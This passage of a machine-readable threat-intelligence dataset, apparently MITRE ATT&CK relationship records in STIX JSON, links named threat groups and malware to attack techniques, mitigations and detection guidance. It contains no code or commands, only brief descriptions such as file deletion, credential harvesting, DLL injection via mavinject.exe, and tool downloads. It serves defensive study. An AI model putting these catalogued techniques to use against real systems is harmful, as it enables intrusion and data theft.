2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--059f8b03-59f9-45da-9c12-862f50e5fe45","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN10 June 2017","description":"FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"}],"modified":"2019-04-25T12:09:56.287Z","description":"[FIN10](https://attack.mitre.org/groups/G0051) has used batch scripts and scheduled tasks to delete critical system files.(Citation: FireEye FIN10 June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--05a3d203-4b38-4f38-a015-dcfe3bdf9c07","created":"2021-02-10T18:41:29.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Ebury May 2024","description":"Marc-Etienne M.Léveillé. (2024, May 1). Ebury is alive but unseen. Retrieved May 21, 2024.","url":"https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf"},{"source_name":"ESET Ebury Oct 2017","description":"Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.","url":"https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-15T18:49:26.531Z","description":"[Ebury](https://attack.mitre.org/software/S0377) acts as a user land rootkit using the SSH service.(Citation: ESET Ebury Oct 2017)(Citation: ESET Ebury May 2024)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--05a9fa5f-7273-4c4e-846c-1b04754208c6","created":"2024-06-06T17:31:14.623Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks GOLD IONIC April 2024","description":"Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.","url":"https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware"},{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"},{"source_name":"SentinelOne INC Ransomware","description":"SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.","url":"https://www.sentinelone.com/anthology/inc-ransom/"},{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"},{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"},{"source_name":"Bleeping Computer INC Ransomware March 2024","description":"Toulas, B. (2024, March 27). INC Ransom threatens to leak 3TB of NHS Scotland stolen data. Retrieved June 5, 2024.","url":"https://www.bleepingcomputer.com/news/security/inc-ransom-threatens-to-leak-3tb-of-nhs-scotland-stolen-data/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T20:50:13.476Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has used [INC Ransomware](https://attack.mitre.org/software/S1139) to encrypt victim's data.(Citation: SentinelOne INC Ransomware)(Citation: Huntress INC Ransom Group August 2023)(Citation: Bleeping Computer INC Ransomware March 2024)(Citation: Secureworks GOLD IONIC April 2024)(Citation: Cybereason INC Ransomware November 2023)(Citation: SOCRadar INC Ransom January 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05ae3ecc-6920-4828-b708-f0acdf0e2ff3","type":"relationship","created":"2021-06-17T18:49:50.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T15:06:24.426Z","description":"Do not allow administrator accounts that have permissions to add IIS components to be used for day-to-day operations that may expose these permissions to potential adversaries and/or other unprivileged systems.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--05c33a7a-bfd0-4374-a617-f2c407461acb","created":"2022-10-03T19:34:39.921Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-03T19:34:39.921Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors executed the PowerView ShareFinder module to identify open shares.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--05c94aaf-1db8-40ce-9ec2-8628f8e17e20","created":"2022-03-30T14:26:51.867Z","x_mitre_version":"0.1","external_references":[{"source_name":"Sygnia Golden SAML","url":"https://www.sygnia.co/golden-saml-advisory","description":"Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for creation of access tokens using SAML tokens which do not have corresponding 4769 and 1200 events in the domain.(Citation: Sygnia Golden SAML)","modified":"2022-04-14T20:00:36.648Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--5f7c9def-0ddf-423b-b1f8-fb2ddeed0ce3","target_ref":"attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05d0c3fe-f210-4dd1-a082-45ac8f0c1c47","type":"relationship","created":"2019-12-19T21:05:38.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2019-12-19T21:05:38.420Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05d8ec5a-0fc4-4037-913f-4d48e658ee9b","type":"relationship","created":"2021-09-27T20:31:57.606Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Qakbot May 2020","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021."},{"source_name":"ATT QakBot April 2021","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}],"modified":"2021-10-12T18:16:40.394Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can check the compromised host for the presence of multiple executables associated with analysis tools and halt execution if any are found.(Citation: Trend Micro Qakbot May 2020)(Citation: ATT QakBot April 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--05da04cb-7e7c-4d01-bee6-7c2f9c4e7a63","created":"2022-03-30T14:26:51.856Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may rename abusable binaries to evade detections, but the argument INJECTRUNNING is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.","modified":"2022-04-20T00:12:20.532Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05dc9f8c-a1ea-4cdf-ae86-e98af40d5bd7","type":"relationship","created":"2020-09-29T19:16:57.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA WellMail July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c","description":"CISA. (2020, July 16). MAR-10296782-3.v1 – WELLMAIL. Retrieved September 29, 2020."}],"modified":"2020-09-29T19:16:57.938Z","description":"[WellMail](https://attack.mitre.org/software/S0515) can receive data and executable scripts from C2.(Citation: CISA WellMail July 2020)","relationship_type":"uses","source_ref":"malware--959f3b19-2dc8-48d5-8942-c66813a5101a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--05e02170-dc4f-4112-a54c-fde4d05632d7","created":"2023-09-29T19:50:06.652Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T19:50:06.652Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has enumerated all users connected to network shares.","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05e05236-1635-48d7-8ee3-33319c01c815","type":"relationship","created":"2017-05-31T21:33:27.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/winnti-more-than-just-a-game/37029/","description":"Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.","source_name":"Kaspersky Winnti April 2013"}],"modified":"2019-03-25T17:15:03.447Z","description":"[Winnti Group](https://attack.mitre.org/groups/G0044) used a rootkit to modify typical server functionality.(Citation: Kaspersky Winnti April 2013)","relationship_type":"uses","source_ref":"intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--05e15ff7-e0b1-47e3-a7bd-7f0e8845bf2c","created":"2022-09-21T17:01:29.135Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T17:01:29.135Z","description":"[Chinoxy](https://attack.mitre.org/software/S1041) can use a digitally signed binary (\"Logitech Bluetooth Wizard Host Process\") to load its dll into memory.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--0b639373-5f03-430e-b8f9-2fe8c8faad8e","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05e3980c-03ae-4624-82d8-0cbcc45705cd","type":"relationship","created":"2020-01-31T12:35:36.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-31T12:35:36.758Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05e9e12f-be5e-46f4-9f42-6f7fb7e9fb4a","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2019-03-22T19:57:37.311Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has exfiltrated files stolen from local systems.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05ee3203-83ad-4dd3-8590-b7f3ffcf772a","type":"relationship","created":"2021-10-07T21:28:23.913Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-15T03:11:44.624Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) uses a hidden folder named .xcassets and .git to embed itself in Xcode.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05ee7ead-dfe8-4cd2-9e7c-8f1aada9bcde","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2019-04-22T23:25:33.589Z","description":"[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to identify remote hosts on connected networks.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--049ff071-0b3c-4712-95d2-d21c6aa54501","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05f303b4-7582-45d1-af25-46250afc4d8f","type":"relationship","created":"2021-03-18T16:33:07.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA EB Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a","description":"Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021."}],"modified":"2021-04-13T22:08:13.939Z","description":"[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) can delete log files generated from the malware stored at C:\\windows\\temp\\tmp0207.(Citation: CISA EB Aug 2020)","relationship_type":"uses","source_ref":"malware--e928333f-f3df-4039-9b8b-556c2add0e42","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05f6442b-1ba8-4356-9e3a-17edc6236a10","type":"relationship","created":"2021-03-24T17:06:09.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Targeting Elections September 2020","url":"https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/","description":"Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021."}],"modified":"2021-03-24T17:06:09.897Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has harvested user's login credentials.(Citation: Microsoft Targeting Elections September 2020)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--05ff481d-299f-4b72-9210-f07e7c5bf938","created":"2021-04-19T17:50:00.143Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"},{"source_name":"Microsoft HAFNIUM March 2020","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T22:23:16.482Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has downloaded malware and tools--including Nishang and PowerCat--onto a compromised host.(Citation: Microsoft HAFNIUM March 2020)(Citation: Rapid7 HAFNIUM Mar 2021) ","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--060535c1-196e-487d-8294-122c3c07ccd8","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for newly executed processes that may stop or disable services on a system to render those services unavailable to legitimate users.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--060894ab-c1ec-488c-8d66-25924c82ad58","type":"relationship","created":"2021-10-11T17:33:08.606Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-10-11T17:33:08.606Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) is delivered via a malicious XLS attachment contained within a spearhpishing email.(Citation: Talos Lokibot Jan 2021) ","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--060a6b38-18fb-46ac-97c1-b1c40d493b6c","type":"relationship","created":"2021-01-08T21:10:43.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}],"modified":"2021-04-20T15:52:05.764Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can implement use of proxies to pivot traffic.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--060d2cd5-a734-4c78-908c-a9ddabe3aa89","type":"relationship","created":"2020-05-06T21:31:07.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.558Z","description":"[Okrum](https://attack.mitre.org/software/S0439) was seen using modified Quarks PwDump to perform credential dumping.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--060e7485-d2a9-4aa2-a742-58f7e4e6086a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2021-09-15T14:02:09.916Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used valid accounts for persistence and lateral movement.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0614fc3b-614c-4d50-9ae2-ab526160faf5","type":"relationship","created":"2020-06-18T17:27:09.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-24T20:29:46.211Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has used VBS to install its downloader component and malicious documents with VBA macro code.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--061841f1-5814-41e3-94b5-536b8a52d062","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Qualys LolZarus","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022.","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns"},{"source_name":"Lazarus APT January 2022","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/"},{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 